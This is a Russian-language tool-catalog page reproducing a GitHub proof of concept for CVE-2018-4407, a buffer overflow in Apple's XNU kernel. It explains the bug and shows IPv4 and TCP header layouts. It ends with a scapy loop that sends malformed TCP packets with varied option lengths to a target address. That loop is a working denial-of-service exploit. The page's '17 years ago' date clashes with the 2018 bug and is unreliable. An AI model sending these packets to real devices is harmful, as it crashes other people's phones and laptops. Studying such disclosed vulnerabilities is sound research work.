Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2018-4407 — Уязвимость переполнения буфера в коде ошибки ICMP ядра XNU вызывает сбой устройств iOS (ноутбуков и мобильных устройств). | Kitploit
Инструменты/GitHubGitHub/lucagiovagnoli/cve-2018-4407
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияСбор информацииТестирование на ПроникновениеЭксплуатация Бинарных Файлов
GitHublucagiovagnoli/cve-2018-4407

CVE-2018-4407

Уязвимость переполнения буфера в коде ошибки ICMP ядра XNU вызывает сбой устройств iOS (ноутбуков и мобильных устройств).

Репозиторий
17 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2018-4407

CVE-2018-4407 — это уязвимость переполнения буфера в коде ошибки ICMP ядра XNU. Она вызывает сбой устройств iOS (как ноутбуков, так и мобильных) при получении одного (да, одного!) неверного пакета.

Ошибка была первоначально раскрыта Кевином Бэкхаусом в его сообщении в блоге lgtm 30 октября 2018 года.

Код в этом репозитории является доказательством концепции эксплуатации CVE-2018-4407, реализованным на Python с использованием scapy и nmap.

Отладка

Некоторые шаги моего процесса отладки. Взгляд на код ядра XNU приводит к числам для iphlen и tcphlen, которые могут вызвать переполнение буфера. Как сказал Бэкхаус, у нас должно быть icmplen > 84, и, похоже, нам нужно попасть в ветвь кода if(oip->ip_p == IPPROTO_TCP), чтобы достичь этого. TCP-пакет вызовет эту уязвимость.

alt text

Формат IPv4 заголовка [RFC 791]

IPv4 заголовок имеет размер от минимум 20 байт до 36 байт (в зависимости от опций).

  • IHL: длина IP-заголовка, включая опции. Также указывает, где начинается полезная нагрузка.
  • Total Length: общая длина IP-пакета (включая IP-заголовок и TCP полезную нагрузку).
root@kitploit:~
      0               1               2               3
      0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  0  |Version|  IHL  |Type of Service|          Total Length         |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  4  |         Identification        |Flags|      Fragment Offset    | 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  8  |  Time to Live |    Protocol   |         Header Checksum       | 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 12  |                       Source Address                          | 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 16  |                    Destination Address                        | 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 20  |                    Options (up to 16B)        |    Padding    | 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Формат TCP заголовка [RFC 793]

TCP заголовок имеет размер от минимум 20 байт до 60 байт (опции могут быть до 40 байт).

  • Data offset: указывает, где начинаются данные, и также может рассматриваться как длина заголовка.
root@kitploit:~
      0               1               2               3
      0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  0  |          Source Port          |       Destination Port        |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  4  |                        Sequence Number                        |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  8  |                    Acknowledgment Number                      |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
     |  Data |           |U|A|P|R|S|F|                               |
 12  | Offset| Reserved  |R|C|S|S|Y|I|            Window             |
     |       |           |G|K|H|T|N|N|                               |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 16  |           Checksum            |         Urgent Pointer        |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 20  |                    Options (up to 40B)        |    Padding    |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Метод перебора

Нет необходимости углубляться так сильно в код XNU. Можно также использовать простой скрипт scapy, который вручную перебирает различные длины заголовков:

root@kitploit:~
MIN_IPHLEN = 20
MIN_TCPHLEN = 20
DST_IP = #<IP_ADDRESS>

for ip_opt_len in range(0, 60):
    for tcp_opt_len in range (0, 60):
        iphlen = ip_opt_len + MIN_IPHLEN
        tcphlen = tcp_opt_len + MIN_TCPHLEN
        total_ip_len = tcphlen + iphlen
        
        send(IP(
            ihl=iphlen/4,
            len=total_ip_len,
            dst=DST_IP,
            options=IPOption("a" * ip_opt_len)
        )/TCP(
            dataofs=15,
            options = [("NOP", None)] * tcp_opt_len
        ))
Скачать инструмент